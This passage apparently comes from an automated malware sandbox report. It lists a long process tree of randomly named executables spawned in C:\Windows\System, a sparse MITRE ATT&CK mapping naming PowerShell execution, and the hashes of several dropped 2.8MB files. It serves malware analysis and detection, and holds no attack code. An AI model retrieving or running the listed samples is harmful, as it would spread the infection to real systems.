  C:\Windows\System\Ecstnil.exe
  2⤵
  PID:8108
- C:\Windows\System\etXbjjt.exe
  C:\Windows\System\etXbjjt.exe
  2⤵
  PID:8144
- C:\Windows\System\QZRGyYj.exe
  C:\Windows\System\QZRGyYj.exe
  2⤵
  PID:7316
- C:\Windows\System\ilObYLB.exe
  C:\Windows\System\ilObYLB.exe
  2⤵
  PID:6752
- C:\Windows\System\VEzjOVh.exe
  C:\Windows\System\VEzjOVh.exe
  2⤵
  PID:7276
- C:\Windows\System\koBpxYG.exe
  C:\Windows\System\koBpxYG.exe
  2⤵
  PID:7380
- C:\Windows\System\izJvWHC.exe
  C:\Windows\System\izJvWHC.exe
  2⤵
  PID:7492
- C:\Windows\System\qeUoggI.exe
  C:\Windows\System\qeUoggI.exe
  2⤵
  PID:7576
- C:\Windows\System\XauFaQZ.exe
  C:\Windows\System\XauFaQZ.exe
  2⤵
  PID:7568
- C:\Windows\System\GhqgrmU.exe
  C:\Windows\System\GhqgrmU.exe
  2⤵
  PID:7360
- C:\Windows\System\WxfInPP.exe
  C:\Windows\System\WxfInPP.exe
  2⤵
  PID:7796
- C:\Windows\System\iWoHBPw.exe
  C:\Windows\System\iWoHBPw.exe
  2⤵
  PID:7908
- C:\Windows\System\ExUYnXS.exe
  C:\Windows\System\ExUYnXS.exe
  2⤵
  PID:7756
- C:\Windows\System\clajHeo.exe
  C:\Windows\System\clajHeo.exe
  2⤵
  PID:7992
- C:\Windows\System\xpfLqnB.exe
  C:\Windows\System\xpfLqnB.exe
  2⤵
  PID:7880
- C:\Windows\System\PJgGobw.exe
  C:\Windows\System\PJgGobw.exe
  2⤵
  PID:7184
- C:\Windows\System\FolentE.exe
  C:\Windows\System\FolentE.exe
  2⤵
  PID:7996
- C:\Windows\System\FZeiWDK.exe
  C:\Windows\System\FZeiWDK.exe
  2⤵
  PID:8008
- C:\Windows\System\yrrDxEw.exe
  C:\Windows\System\yrrDxEw.exe
  2⤵
  PID:8152
- C:\Windows\System\KcsRpLx.exe
  C:\Windows\System\KcsRpLx.exe
  2⤵
  PID:8092
- C:\Windows\System\wVKkZui.exe
  C:\Windows\System\wVKkZui.exe
  2⤵
  PID:7616
- C:\Windows\System\QqcVees.exe
  C:\Windows\System\QqcVees.exe
  2⤵
  PID:8188
- C:\Windows\System\XGVAkyM.exe
  C:\Windows\System\XGVAkyM.exe
  2⤵
  PID:8036
- C:\Windows\System\qJoPAKv.exe
  C:\Windows\System\qJoPAKv.exe
  2⤵
  PID:8052
- C:\Windows\System\FISPXPc.exe
  C:\Windows\System\FISPXPc.exe
  2⤵
  PID:7300
- C:\Windows\System\drGIntl.exe
  C:\Windows\System\drGIntl.exe
  2⤵
  PID:7716
- C:\Windows\System\eNuJELg.exe
  C:\Windows\System\eNuJELg.exe
  2⤵
  PID:7772
- C:\Windows\System\lcumiWb.exe
  C:\Windows\System\lcumiWb.exe
  2⤵
  PID:7884
- C:\Windows\System\eRrPeXi.exe
  C:\Windows\System\eRrPeXi.exe
  2⤵
  PID:7960
- C:\Windows\System\MxyHzFL.exe
  C:\Windows\System\MxyHzFL.exe
  2⤵
  PID:7536
- C:\Windows\System\CUanibn.exe
  C:\Windows\System\CUanibn.exe
  2⤵
  PID:7556
- C:\Windows\System\CfJApRK.exe
  C:\Windows\System\CfJApRK.exe
  2⤵
  PID:8204
- C:\Windows\System\reeLyXk.exe
  C:\Windows\System\reeLyXk.exe
  2⤵
  PID:8232
- C:\Windows\System\svAIWKY.exe
  C:\Windows\System\svAIWKY.exe
  2⤵
  PID:8252
- C:\Windows\System\KvUWfQF.exe
  C:\Windows\System\KvUWfQF.exe
  2⤵
  PID:8272
- C:\Windows\System\KQCWiFC.exe
  C:\Windows\System\KQCWiFC.exe
  2⤵
  PID:8300
- C:\Windows\System\xxdMVSS.exe
  C:\Windows\System\xxdMVSS.exe
  2⤵
  PID:8316
- C:\Windows\System\qUgPHON.exe
  C:\Windows\System\qUgPHON.exe
  2⤵
  PID:8332
- C:\Windows\System\BfJqkYe.exe
  C:\Windows\System\BfJqkYe.exe
  2⤵
  PID:8348
- C:\Windows\System\fBXokua.exe
  C:\Windows\System\fBXokua.exe
  2⤵
  PID:8368
- C:\Windows\System\LAnwtKG.exe
  C:\Windows\System\LAnwtKG.exe
  2⤵
  PID:8388
- C:\Windows\System\ZujHLmo.exe
  C:\Windows\System\ZujHLmo.exe
  2⤵
  PID:8404
- C:\Windows\System\NbvhVrv.exe
  C:\Windows\System\NbvhVrv.exe
  2⤵
  PID:8424
- C:\Windows\System\lESRAMz.exe
  C:\Windows\System\lESRAMz.exe
  2⤵
  PID:8452
- C:\Windows\System\yjdUpAJ.exe
  C:\Windows\System\yjdUpAJ.exe
  2⤵
  PID:8472
- C:\Windows\System\SxwcRna.exe
  C:\Windows\System\SxwcRna.exe
  2⤵
  PID:8492
- C:\Windows\System\ZcJkQcc.exe
  C:\Windows\System\ZcJkQcc.exe
  2⤵
  PID:8508
- C:\Windows\System\QRKQkoj.exe
  C:\Windows\System\QRKQkoj.exe
  2⤵
  PID:8528
- C:\Windows\System\fJHXXpi.exe
  C:\Windows\System\fJHXXpi.exe
  2⤵
  PID:8560
- C:\Windows\System\DWYGRth.exe
  C:\Windows\System\DWYGRth.exe
  2⤵
  PID:8576
- C:\Windows\System\FrvdlXf.exe
  C:\Windows\System\FrvdlXf.exe
  2⤵
  PID:8592
- C:\Windows\System\WNQdsKd.exe
  C:\Windows\System\WNQdsKd.exe
  2⤵
  PID:8612
- C:\Windows\System\SzgkIAm.exe
  C:\Windows\System\SzgkIAm.exe
  2⤵
  PID:8628
- C:\Windows\System\xrnLmwz.exe
  C:\Windows\System\xrnLmwz.exe
  2⤵
  PID:8644
- C:\Windows\System\xMaTvCQ.exe
  C:\Windows\System\xMaTvCQ.exe
  2⤵
  PID:8668
- C:\Windows\System\FGDIOSB.exe
  C:\Windows\System\FGDIOSB.exe
  2⤵
  PID:8692
- C:\Windows\System\zzRHWKD.exe
  C:\Windows\System\zzRHWKD.exe
  2⤵
  PID:8712
- C:\Windows\System\aCjQLMJ.exe
  C:\Windows\System\aCjQLMJ.exe
  2⤵
  PID:8728
- C:\Windows\System\oRCcqne.exe
  C:\Windows\System\oRCcqne.exe
  2⤵
  PID:8748
- C:\Windows\System\dQtRQcb.exe
  C:\Windows\System\dQtRQcb.exe
  2⤵
  PID:8768
- C:\Windows\System\TseFNQO.exe
  C:\Windows\System\TseFNQO.exe
  2⤵
  PID:8784
- C:\Windows\System\TaBBSop.exe
  C:\Windows\System\TaBBSop.exe
  2⤵
  PID:8804
- C:\Windows\System\ucyORFT.exe
  C:\Windows\System\ucyORFT.exe
  2⤵
  PID:8820
- C:\Windows\System\UjLHbaE.exe
  C:\Windows\System\UjLHbaE.exe
  2⤵
  PID:8836
- C:\Windows\System\blJRkCr.exe
  C:\Windows\System\blJRkCr.exe
  2⤵
  PID:8852
- C:\Windows\System\eHwyovt.exe
  C:\Windows\System\eHwyovt.exe
  2⤵
  PID:8872
- C:\Windows\System\XGIeNuh.exe
  C:\Windows\System\XGIeNuh.exe
  2⤵
  PID:8888
- C:\Windows\System\AZlnxBt.exe
  C:\Windows\System\AZlnxBt.exe
  2⤵
  PID:8904
- C:\Windows\System\YLadClZ.exe
  C:\Windows\System\YLadClZ.exe
  2⤵
  PID:8920
- C:\Windows\System\hqQyBhM.exe
  C:\Windows\System\hqQyBhM.exe
  2⤵
  PID:8936
- C:\Windows\System\XpomFzH.exe
  C:\Windows\System\XpomFzH.exe
  2⤵
  PID:8956
- C:\Windows\System\sUZwkcp.exe
  C:\Windows\System\sUZwkcp.exe
  2⤵
  PID:9000
- C:\Windows\System\vDjPLxR.exe
  C:\Windows\System\vDjPLxR.exe
  2⤵
  PID:9024
- C:\Windows\System\wiJoPhh.exe
  C:\Windows\System\wiJoPhh.exe
  2⤵
  PID:9040
- C:\Windows\System\kbngAfZ.exe
  C:\Windows\System\kbngAfZ.exe
  2⤵
  PID:9068
- C:\Windows\System\doqbHTm.exe
  C:\Windows\System\doqbHTm.exe
  2⤵
  PID:9088
- C:\Windows\System\CJiYUlU.exe
  C:\Windows\System\CJiYUlU.exe
  2⤵
  PID:9144
- C:\Windows\System\GCNBLKN.exe
  C:\Windows\System\GCNBLKN.exe
  2⤵
  PID:9168
- C:\Windows\System\zVUvYbm.exe
  C:\Windows\System\zVUvYbm.exe
  2⤵
  PID:9184
- C:\Windows\System\zAOMjhH.exe
  C:\Windows\System\zAOMjhH.exe
  2⤵
  PID:9208
- C:\Windows\System\UNnyIWR.exe
  C:\Windows\System\UNnyIWR.exe
  2⤵
  PID:8172
- C:\Windows\System\OmgeFqY.exe
  C:\Windows\System\OmgeFqY.exe
  2⤵
  PID:8196
- C:\Windows\System\QKCZLJU.exe
  C:\Windows\System\QKCZLJU.exe
  2⤵
  PID:8224
- C:\Windows\System\JWtlBOo.exe
  C:\Windows\System\JWtlBOo.exe
  2⤵
  PID:8280
- C:\Windows\System\FEvKPTu.exe
  C:\Windows\System\FEvKPTu.exe
  2⤵
  PID:8288
- C:\Windows\System\iWVErCH.exe
  C:\Windows\System\iWVErCH.exe
  2⤵
  PID:8364
- C:\Windows\System\hzBsyBp.exe
  C:\Windows\System\hzBsyBp.exe
  2⤵
  PID:8440
- C:\Windows\System\dlDuXGp.exe
  C:\Windows\System\dlDuXGp.exe
  2⤵
  PID:8312
- C:\Windows\System\IcbEdTq.exe
  C:\Windows\System\IcbEdTq.exe
  2⤵
  PID:8516
- C:\Windows\System\BXbbbYv.exe
  C:\Windows\System\BXbbbYv.exe
  2⤵
  PID:8524
- C:\Windows\System\YvfULEJ.exe
  C:\Windows\System\YvfULEJ.exe
  2⤵
  PID:8380
- C:\Windows\System\gWshfSI.exe
  C:\Windows\System\gWshfSI.exe
  2⤵
  PID:8420
- C:\Windows\System\lJnVrVA.exe
  C:\Windows\System\lJnVrVA.exe
  2⤵
  PID:8500
- C:\Windows\System\ZwxHgwC.exe
  C:\Windows\System\ZwxHgwC.exe
  2⤵
  PID:8548
- C:\Windows\System\RDhRsEI.exe
  C:\Windows\System\RDhRsEI.exe
  2⤵
  PID:8600
- C:\Windows\System\KIFDHuE.exe
  C:\Windows\System\KIFDHuE.exe
  2⤵
  PID:8676
- C:\Windows\System\kwmseHZ.exe
  C:\Windows\System\kwmseHZ.exe
  2⤵
  PID:8624
- C:\Windows\System\nwZMnuw.exe
  C:\Windows\System\nwZMnuw.exe
  2⤵
  PID:8700
- C:\Windows\System\pWYYIzt.exe
  C:\Windows\System\pWYYIzt.exe
  2⤵
  PID:8720
- C:\Windows\System\EUOBEvk.exe
  C:\Windows\System\EUOBEvk.exe
  2⤵
  PID:8764
- C:\Windows\System\KfXAdmy.exe
  C:\Windows\System\KfXAdmy.exe
  2⤵
  PID:8736
- C:\Windows\System\UUdFzae.exe
  C:\Windows\System\UUdFzae.exe
  2⤵
  PID:8828
- C:\Windows\System\FdgygED.exe
  C:\Windows\System\FdgygED.exe
  2⤵
  PID:8900
- C:\Windows\System\yzqwNDC.exe
  C:\Windows\System\yzqwNDC.exe
  2⤵
  PID:8976
- C:\Windows\System\LJExKEg.exe
  C:\Windows\System\LJExKEg.exe
  2⤵
  PID:8996
- C:\Windows\System\YQYvBPQ.exe
  C:\Windows\System\YQYvBPQ.exe
  2⤵
  PID:8912
- C:\Windows\System\ufHVQKB.exe
  C:\Windows\System\ufHVQKB.exe
  2⤵
  PID:8952
- C:\Windows\System\acLhqWY.exe
  C:\Windows\System\acLhqWY.exe
  2⤵
  PID:9048
- C:\Windows\System\kMhvBQh.exe
  C:\Windows\System\kMhvBQh.exe
  2⤵
  PID:9096
- C:\Windows\System\sBAExrs.exe
  C:\Windows\System\sBAExrs.exe
  2⤵
  PID:9116
- C:\Windows\System\sIXbvCk.exe
  C:\Windows\System\sIXbvCk.exe
  2⤵
  PID:9132
- C:\Windows\System\rzdLbdX.exe
  C:\Windows\System\rzdLbdX.exe
  2⤵
  PID:9192
- C:\Windows\System\QPbPGFG.exe
  C:\Windows\System\QPbPGFG.exe
  2⤵
  PID:9204
- C:\Windows\System\qhSQRUI.exe
  C:\Windows\System\qhSQRUI.exe
  2⤵
  PID:7752
- C:\Windows\System\LVWxfps.exe
  C:\Windows\System\LVWxfps.exe
  2⤵
  PID:8212
- C:\Windows\System\tuhMNWW.exe
  C:\Windows\System\tuhMNWW.exe
  2⤵
  PID:8228
- C:\Windows\System\KBgrSRn.exe
  C:\Windows\System\KBgrSRn.exe
  2⤵
  PID:8360
- C:\Windows\System\moviuaR.exe
  C:\Windows\System\moviuaR.exe
  2⤵
  PID:8460
- C:\Windows\System\qECsNcp.exe
  C:\Windows\System\qECsNcp.exe
  2⤵
  PID:8536
- C:\Windows\System\xjvewMx.exe
  C:\Windows\System\xjvewMx.exe
  2⤵
  PID:8620
- C:\Windows\System\PCaGBLP.exe
  C:\Windows\System\PCaGBLP.exe
  2⤵
  PID:8688
- C:\Windows\System\nrKitgJ.exe
  C:\Windows\System\nrKitgJ.exe
  2⤵
  PID:8344
- C:\Windows\System\ZCmnEmb.exe
  C:\Windows\System\ZCmnEmb.exe
  2⤵
  PID:8744
- C:\Windows\System\uwTzkrf.exe
  C:\Windows\System\uwTzkrf.exe
  2⤵
  PID:7632
- C:\Windows\System\TwQOwAH.exe
  C:\Windows\System\TwQOwAH.exe
  2⤵
  PID:8412
- C:\Windows\System\QyQccUC.exe
  C:\Windows\System\QyQccUC.exe
  2⤵
  PID:8968
- C:\Windows\System\PLaUgHT.exe
  C:\Windows\System\PLaUgHT.exe
  2⤵
  PID:8964
- C:\Windows\System\TTPoRzn.exe
  C:\Windows\System\TTPoRzn.exe
  2⤵
  PID:8884
- C:\Windows\System\mtUbgJQ.exe
  C:\Windows\System\mtUbgJQ.exe
  2⤵
  PID:9112
- C:\Windows\System\ELtDVjC.exe
  C:\Windows\System\ELtDVjC.exe
  2⤵
  PID:7516
- C:\Windows\System\uVJjDSG.exe
  C:\Windows\System\uVJjDSG.exe
  2⤵
  PID:8400
- C:\Windows\System\vpuIvok.exe
  C:\Windows\System\vpuIvok.exe
  2⤵
  PID:8416
- C:\Windows\System\QQjSHFd.exe
  C:\Windows\System\QQjSHFd.exe
  2⤵
  PID:8948
- C:\Windows\System\BbQEYgx.exe
  C:\Windows\System\BbQEYgx.exe
  2⤵
  PID:8848
- C:\Windows\System\iGfrFux.exe
  C:\Windows\System\iGfrFux.exe
  2⤵
  PID:8880
- C:\Windows\System\jjNbkrY.exe
  C:\Windows\System\jjNbkrY.exe
  2⤵
  PID:9124
- C:\Windows\System\HLiGdYp.exe
  C:\Windows\System\HLiGdYp.exe
  2⤵
  PID:9176
- C:\Windows\System\RYEvbHn.exe
  C:\Windows\System\RYEvbHn.exe
  2⤵
  PID:9076
- C:\Windows\System\KZdsKdX.exe
  C:\Windows\System\KZdsKdX.exe
  2⤵
  PID:8240
- C:\Windows\System\wWqzswr.exe
  C:\Windows\System\wWqzswr.exe
  2⤵
  PID:8604
- C:\Windows\System\JfTuizQ.exe
  C:\Windows\System\JfTuizQ.exe
  2⤵
  PID:8760
- C:\Windows\System\IGhXIPx.exe
  C:\Windows\System\IGhXIPx.exe
  2⤵
  PID:8328
- C:\Windows\System\DOYxSMA.exe
  C:\Windows\System\DOYxSMA.exe
  2⤵
  PID:8436
- C:\Windows\System\tJspqeT.exe
  C:\Windows\System\tJspqeT.exe
  2⤵
  PID:8816
- C:\Windows\System\fNuWmEp.exe
  C:\Windows\System\fNuWmEp.exe
  2⤵
  PID:8664
- C:\Windows\System\BoylBBI.exe
  C:\Windows\System\BoylBBI.exe
  2⤵
  PID:7800
- C:\Windows\System\iJysGwj.exe
  C:\Windows\System\iJysGwj.exe
  2⤵
  PID:8264
- C:\Windows\System\NrCSPmr.exe
  C:\Windows\System\NrCSPmr.exe
  2⤵
  PID:8776
- C:\Windows\System\ENjDMTo.exe
  C:\Windows\System\ENjDMTo.exe
  2⤵
  PID:8928
- C:\Windows\System\oJsPDqp.exe
  C:\Windows\System\oJsPDqp.exe
  2⤵
  PID:7768
- C:\Windows\System\oBVfwDS.exe
  C:\Windows\System\oBVfwDS.exe
  2⤵
  PID:8244
- C:\Windows\System\CgMADZo.exe
  C:\Windows\System\CgMADZo.exe
  2⤵
  PID:9180
- C:\Windows\System\fzgpJCM.exe
  C:\Windows\System\fzgpJCM.exe
  2⤵
  PID:8984
- C:\Windows\System\LQPkUyl.exe
  C:\Windows\System\LQPkUyl.exe
  2⤵
  PID:8468
- C:\Windows\System\HNxfIeR.exe
  C:\Windows\System\HNxfIeR.exe
  2⤵
  PID:8796
- C:\Windows\System\DYUwKjo.exe
  C:\Windows\System\DYUwKjo.exe
  2⤵
  PID:9160
- C:\Windows\System\eKRukqI.exe
  C:\Windows\System\eKRukqI.exe
  2⤵
  PID:8568
- C:\Windows\System\mXYfblU.exe
  C:\Windows\System\mXYfblU.exe
  2⤵
  PID:9232
- C:\Windows\System\LUfSyAz.exe
  C:\Windows\System\LUfSyAz.exe
  2⤵
  PID:9268
- C:\Windows\System\MnQtVaw.exe
  C:\Windows\System\MnQtVaw.exe
  2⤵
  PID:9284
- C:\Windows\System\BeLhpoW.exe
  C:\Windows\System\BeLhpoW.exe
  2⤵
  PID:9304
- C:\Windows\System\MrNXUyl.exe
  C:\Windows\System\MrNXUyl.exe
  2⤵
  PID:9320
- C:\Windows\System\BOwfnHs.exe
  C:\Windows\System\BOwfnHs.exe
  2⤵
  PID:9336
- C:\Windows\System\PQTcnDE.exe
  C:\Windows\System\PQTcnDE.exe
  2⤵
  PID:9352
- C:\Windows\System\lvQqKKC.exe
  C:\Windows\System\lvQqKKC.exe
  2⤵
  PID:9368
- C:\Windows\System\LrILxHX.exe
  C:\Windows\System\LrILxHX.exe
  2⤵
  PID:9384
- C:\Windows\System\LMKFrLS.exe
  C:\Windows\System\LMKFrLS.exe
  2⤵
  PID:9404
- C:\Windows\System\jTfuTUE.exe
  C:\Windows\System\jTfuTUE.exe
  2⤵
  PID:9424
- C:\Windows\System\ExrOqsp.exe
  C:\Windows\System\ExrOqsp.exe
  2⤵
  PID:9440
- C:\Windows\System\FiUtrDp.exe
  C:\Windows\System\FiUtrDp.exe
  2⤵
  PID:9460
- C:\Windows\System\eXfGKrz.exe
  C:\Windows\System\eXfGKrz.exe
  2⤵
  PID:9480
- C:\Windows\System\nMldZql.exe
  C:\Windows\System\nMldZql.exe
  2⤵
  PID:9504
- C:\Windows\System\hrjgonf.exe
  C:\Windows\System\hrjgonf.exe
  2⤵
  PID:9520
- C:\Windows\System\OFgYkeC.exe
  C:\Windows\System\OFgYkeC.exe
  2⤵
  PID:9540
- C:\Windows\System\uOdYnMd.exe
  C:\Windows\System\uOdYnMd.exe
  2⤵
  PID:9560
- C:\Windows\System\YSGNuLX.exe
  C:\Windows\System\YSGNuLX.exe
  2⤵
  PID:9584
- C:\Windows\System\BFdUfHB.exe
  C:\Windows\System\BFdUfHB.exe
  2⤵
  PID:9600
- C:\Windows\System\ICvYNDd.exe
  C:\Windows\System\ICvYNDd.exe
  2⤵
  PID:9616
- C:\Windows\System\WseWwgs.exe
  C:\Windows\System\WseWwgs.exe
  2⤵
  PID:9632
- C:\Windows\System\obMXQjL.exe
  C:\Windows\System\obMXQjL.exe
  2⤵
  PID:9648
- C:\Windows\System\ctsZzaN.exe
  C:\Windows\System\ctsZzaN.exe
  2⤵
  PID:9664
- C:\Windows\System\GlIWpqa.exe
  C:\Windows\System\GlIWpqa.exe
  2⤵
  PID:9680
- C:\Windows\System\gOZlASX.exe
  C:\Windows\System\gOZlASX.exe
  2⤵
  PID:9696
- C:\Windows\System\EbSLtNj.exe
  C:\Windows\System\EbSLtNj.exe
  2⤵
  PID:9712
- C:\Windows\System\qBQtxKO.exe
  C:\Windows\System\qBQtxKO.exe
  2⤵
  PID:9728
- C:\Windows\System\RtIXzMa.exe
  C:\Windows\System\RtIXzMa.exe
  2⤵
  PID:9744
- C:\Windows\System\yteHYzP.exe
  C:\Windows\System\yteHYzP.exe
  2⤵
  PID:9764
- C:\Windows\System\rvxjOri.exe
  C:\Windows\System\rvxjOri.exe
  2⤵
  PID:9780
- C:\Windows\System\GrQmUvl.exe
  C:\Windows\System\GrQmUvl.exe
  2⤵
  PID:9820
- C:\Windows\System\NxYaNmd.exe
  C:\Windows\System\NxYaNmd.exe
  2⤵
  PID:9872
- C:\Windows\System\ZBWEghw.exe
  C:\Windows\System\ZBWEghw.exe
  2⤵
  PID:9888
- C:\Windows\System\xZNTzXf.exe
  C:\Windows\System\xZNTzXf.exe
  2⤵
  PID:9904
- C:\Windows\System\RtQQqcQ.exe
  C:\Windows\System\RtQQqcQ.exe
  2⤵
  PID:9920
- C:\Windows\System\IxkryCb.exe
  C:\Windows\System\IxkryCb.exe
  2⤵
  PID:9936
- C:\Windows\System\dxSYYXW.exe
  C:\Windows\System\dxSYYXW.exe
  2⤵
  PID:9952
- C:\Windows\System\hdHdoxy.exe
  C:\Windows\System\hdHdoxy.exe
  2⤵
  PID:9968
- C:\Windows\System\SGYGXoa.exe
  C:\Windows\System\SGYGXoa.exe
  2⤵
  PID:9984
- C:\Windows\System\pAhatAl.exe
  C:\Windows\System\pAhatAl.exe
  2⤵
  PID:10000
- C:\Windows\System\brVfwxY.exe
  C:\Windows\System\brVfwxY.exe
  2⤵
  PID:10016
- C:\Windows\System\ZHEJoWg.exe
  C:\Windows\System\ZHEJoWg.exe
  2⤵
  PID:10032
- C:\Windows\System\QrhmtUU.exe
  C:\Windows\System\QrhmtUU.exe
  2⤵
  PID:10048
- C:\Windows\System\XfegrdW.exe
  C:\Windows\System\XfegrdW.exe
  2⤵
  PID:10064
- C:\Windows\System\dDUxHlc.exe
  C:\Windows\System\dDUxHlc.exe
  2⤵
  PID:10084
- C:\Windows\System\DLKrWWn.exe
  C:\Windows\System\DLKrWWn.exe
  2⤵
  PID:10104
- C:\Windows\System\PTTKPMo.exe
  C:\Windows\System\PTTKPMo.exe
  2⤵
  PID:10120
- C:\Windows\System\iaGSoyM.exe
  C:\Windows\System\iaGSoyM.exe
  2⤵
  PID:10136
- C:\Windows\System\BpjpQIo.exe
  C:\Windows\System\BpjpQIo.exe
  2⤵
  PID:10152
- C:\Windows\System\trqEFPY.exe
  C:\Windows\System\trqEFPY.exe
  2⤵
  PID:10168
- C:\Windows\System\aNiTuMf.exe
  C:\Windows\System\aNiTuMf.exe
  2⤵
  PID:10184
- C:\Windows\System\tkCqFUh.exe
  C:\Windows\System\tkCqFUh.exe
  2⤵
  PID:10200
- C:\Windows\System\tXejsph.exe
  C:\Windows\System\tXejsph.exe
  2⤵
  PID:10216
- C:\Windows\System\kTtXDJJ.exe
  C:\Windows\System\kTtXDJJ.exe
  2⤵
  PID:10232
- C:\Windows\System\FQTySsK.exe
  C:\Windows\System\FQTySsK.exe
  2⤵
  PID:8864
- C:\Windows\System\jUDqQRW.exe
  C:\Windows\System\jUDqQRW.exe
  2⤵
  PID:9224
- C:\Windows\System\qeTVHxA.exe
  C:\Windows\System\qeTVHxA.exe
  2⤵
  PID:9248
- C:\Windows\System\SEFgPPV.exe
  C:\Windows\System\SEFgPPV.exe
  2⤵
  PID:9296
- C:\Windows\System\LWjzPxs.exe
  C:\Windows\System\LWjzPxs.exe
  2⤵
  PID:9292
- C:\Windows\System\XDDlIHQ.exe
  C:\Windows\System\XDDlIHQ.exe
  2⤵
  PID:9344
- C:\Windows\System\BuprvuB.exe
  C:\Windows\System\BuprvuB.exe
  2⤵
  PID:9412
- C:\Windows\System\WlVIHiX.exe
  C:\Windows\System\WlVIHiX.exe
  2⤵
  PID:9332
- C:\Windows\System\qBAdSzY.exe
  C:\Windows\System\qBAdSzY.exe
  2⤵
  PID:9396
- C:\Windows\System\YysQlTR.exe
  C:\Windows\System\YysQlTR.exe
  2⤵
  PID:9496
- C:\Windows\System\zGnpAkT.exe
  C:\Windows\System\zGnpAkT.exe
  2⤵
  PID:9436
- C:\Windows\System\VoiaTes.exe
  C:\Windows\System\VoiaTes.exe
  2⤵
  PID:9568
- C:\Windows\System\KYKkeaJ.exe
  C:\Windows\System\KYKkeaJ.exe
  2⤵
  PID:9512
- C:\Windows\System\UIIgdhk.exe
  C:\Windows\System\UIIgdhk.exe
  2⤵
  PID:8944
- C:\Windows\System\kFCmoxB.exe
  C:\Windows\System\kFCmoxB.exe
  2⤵
  PID:9612
- C:\Windows\System\RfSrpdU.exe
  C:\Windows\System\RfSrpdU.exe
  2⤵
  PID:9640
- C:\Windows\System\PIszrVE.exe
  C:\Windows\System\PIszrVE.exe
  2⤵
  PID:9704
- C:\Windows\System\xCkqhGr.exe
  C:\Windows\System\xCkqhGr.exe
  2⤵
  PID:9656
- C:\Windows\System\HYLurNV.exe
  C:\Windows\System\HYLurNV.exe
  2⤵
  PID:9692
- C:\Windows\System\ScDjRtO.exe
  C:\Windows\System\ScDjRtO.exe
  2⤵
  PID:9752
- C:\Windows\System\oZLgfFh.exe
  C:\Windows\System\oZLgfFh.exe
  2⤵
  PID:9776
- C:\Windows\System\tHUqqKi.exe
  C:\Windows\System\tHUqqKi.exe
  2⤵
  PID:9804
- C:\Windows\System\PisvSuv.exe
  C:\Windows\System\PisvSuv.exe
  2⤵
  PID:9828
- C:\Windows\System\ETJaDsB.exe
  C:\Windows\System\ETJaDsB.exe
  2⤵
  PID:9848
- C:\Windows\System\cUNITCG.exe
  C:\Windows\System\cUNITCG.exe
  2⤵
  PID:9456
- C:\Windows\System\gRahpFf.exe
  C:\Windows\System\gRahpFf.exe
  2⤵
  PID:9912
- C:\Windows\System\BGRsTiP.exe
  C:\Windows\System\BGRsTiP.exe
  2⤵
  PID:9932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\DSTxKIX.exe

Filesize
2.8MB

MD5
afc6beadd9ea9cdd57033f9b19d5356f

SHA1
e460776cbc8be46dd94a220c0c796f7a0331a07c

SHA256
5a013611368dfd5226084f7aa56004517a9f857f72de91640b7209bb3b67cd1f

SHA512
03af9d61041184726620f92d0ed92aa37842ad6fe81c61e8077565c85e3de005e738a5b002cb3f21e3640f2e125d8b4775d2941ea8aa73c5596138e60c8f5cd4

Download Submit
C:\Windows\system\IHDNdBQ.exe

Filesize
2.8MB

MD5
6b7cf24299d2b4eeaf4adfc2ddb2f42d

SHA1
ab73ed15ab8a3ee0bdb0697265aa5ff016e3d98f

SHA256
716593ae1a30eaf058f7bb6626acf31c1aafb7d0b02365b7deff43a793d04021

SHA512
39cf82ef77051482f5c1139b5f1ba7c0d8213b6835088e55f4c80f5c8528d5671eae4854d4de6cb468a8d2c92c46517c0764b20b8cb5c41a8f1fde8aeda4896f

Download Submit
C:\Windows\system\IoQvBHI.exe

Filesize
2.8MB

MD5
0cdc661ee02664ac1dc05a8e4f031d86

SHA1
f92066493ac01d4c388a3873628dc2d19be7e6ec

SHA256
f00b35926fe0bcddcf7512aa451d96648c09d6165214711315bd070b30a2e958

SHA512
fc6733f778f380402fb6c1ff74576592e53ece71b28cf6973335cb4ec51ea7aee2fc4fa9575bba1955b7f817caa9f396e197dec35fd37838e2a2c777c08a2d4c

Download Submit
C:\Windows\system\KADhBWQ.exe

Filesize
2.8MB

MD5
8ce3dca42119b02acf1245001a2ade70

SHA1
c8758c2246d79e8d7ec31104f863767a48f880a6

SHA256
c3bae19c20ecd1db6afe7cf9284b3303378495bddf09b0b901ad790bbf49b885

SHA512
41c2a906af4c69203f94a38c46d2ffa348cda5c00d35a98564f7dfc7b940a7528b636b93e21a6b116999f64914899ace28d852705e80fcf0a69e1b59e184dcbd

Download Submit
C:\Windows\system\KXEuZOc.exe

Filesize
2.8MB

MD5
d1dd71d1b3ecdfaa3a73ade940fadda7

SHA1
a6890977983e46761df1b266ef920521aaa94e06

SHA256
b2df7f4ac09d7c1c2514f4599893bd59b7a23be7e89612ce70b3827ceff7363c

SHA512
f87721be10b1c55fa73c28ad77aa9954af5dd4c8fff3a8c6923d4c2f6bb217b73b387ba2940ed4c4f96c87eee25a3328810851d8a0b4cc7bce52ca34b65ba6e3

Download Submit
C:\Windows\system\LOPIPmp.exe

Filesize
2.8MB

MD5
d1e373a6aacefdae0cd87dcbf01dd651

SHA1
ef63817dcb808731454e4188869226a09f1b390e

SHA256
7dc0b1ae4015320a267f287de74ea9b4764b8331057466b78f9d40afb16553b6

SHA512
07b6dd505beda332c672cee908ecbdeb0e7814cbe41ad068afcb9279a6cbe64ed138e4af66b988c48e2d54cd1befef83c988e785dc0b204123b3dd45cf0566e8

Download Submit
C:\Windows\system\RbYoeMz.exe

Filesize
2.8MB

MD5
46ecbb42348ec859b26af2237f361b0f

SHA1
6400740256d6c18b75f7c3409feb9934cbe76341

SHA256
78e2545adbde5b5b6e41c186f41425f034eaa651599db7500fe51edac1b90fd5

SHA512
76e6a9768192c0340bb17f81a8cdef32b1d66fddbc895a8537e1ca4acda9ea300f78682ce1a83255881d9687e42c84ea03be9c96c47103274e9359e101b43bed

Download Submit
C:\Windows\system\ZloYCAT.exe

Filesize
2.8MB

MD5
e2284cc8992ef65cfaaa284ce5d2255d

SHA1
ab86b1e6616b30c15eb6db75f516b0bbf40d66d5

SHA256
43484bc4844d7b289403d66c45fb1256c904684e41448931aeee0d5abaffcec0

SHA512
2e70849fd4733fa4a43251bed1740d754ded5cf6117522fdbc8ad4686188d488a4902b35a08f3a3817e01be891255ae2b3712224f6ed9be4205fe8cce69197fd

